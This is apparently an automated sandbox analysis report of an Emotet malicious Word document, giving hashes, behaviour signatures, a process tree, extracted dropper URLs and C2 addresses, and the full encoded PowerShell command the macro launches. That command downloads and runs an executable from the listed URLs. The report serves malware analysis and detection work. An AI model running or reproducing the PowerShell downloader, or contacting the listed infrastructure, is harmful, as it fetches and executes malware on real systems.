Analysis

  • max time kernel
    135s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    31-07-2020 19:22

General

  • Target

    emotet_e3_d435dd55cb5ac574d2109b9052330650fb4c355ff4cb2533077281558e7d4de9_2020-07-31__192158._doc.doc

  • Size

    168KB

  • MD5

    b5af3f5c2803cbf4c089cf2a0a0c1739

  • SHA1

    67bd8415af27d40804d88086c7fc75d9be519d03

  • SHA256

    d435dd55cb5ac574d2109b9052330650fb4c355ff4cb2533077281558e7d4de9

  • SHA512

    d02e297a1c5a229e3826b572577dd8bb33e9a8c3a19f81d8abce3a4e5e423f04d7c6264ab9f2ee11800917f59ab9634778fe3cba153675ec721cb9d8da3f5dc4

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://moshauer.de/B9kxs4x8n6272826/

exe.dropper

http://geted.de/wwvv2/sTZFOgzh/

exe.dropper

http://suhailacademy.com/wp-admin/oSHA/

exe.dropper

http://smashingcake.com/blog/HNpury/

exe.dropper

https://taolodge.com/pz/YbU2chs1980/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d435dd55cb5ac574d2109b9052330650fb4c355ff4cb2533077281558e7d4de9_2020-07-31__192158._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:3892
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    PID:1064
  • C:\Users\Admin\432.exe
    C:\Users\Admin\432.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\SysWOW64\aclui\setupugc.exe
      "C:\Windows\SysWOW64\aclui\setupugc.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:2812

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1800-10-0x00000000022A0000-0x00000000022AC000-memory.dmp

    Filesize

    48KB

  • memory/2812-13-0x00000000004D0000-0x00000000004DC000-memory.dmp

    Filesize

    48KB

  • memory/3892-4-0x000001861F59A000-0x000001861F5AB000-memory.dmp

    Filesize

    68KB

  • memory/3892-7-0x000001861F6DA000-0x000001861F6EE000-memory.dmp

    Filesize

    80KB

  • memory/3892-6-0x000001861F6DA000-0x000001861F6EE000-memory.dmp

    Filesize

    80KB

  • memory/3892-5-0x000001861CF96000-0x000001861CFA7000-memory.dmp

    Filesize

    68KB

  • memory/3892-0-0x000001861EFB0000-0x000001861EFB4000-memory.dmp

    Filesize

    16KB

  • memory/3892-3-0x000001861F59A000-0x000001861F5AB000-memory.dmp

    Filesize

    68KB

  • memory/3892-2-0x000001861F59A000-0x000001861F5AB000-memory.dmp

    Filesize

    68KB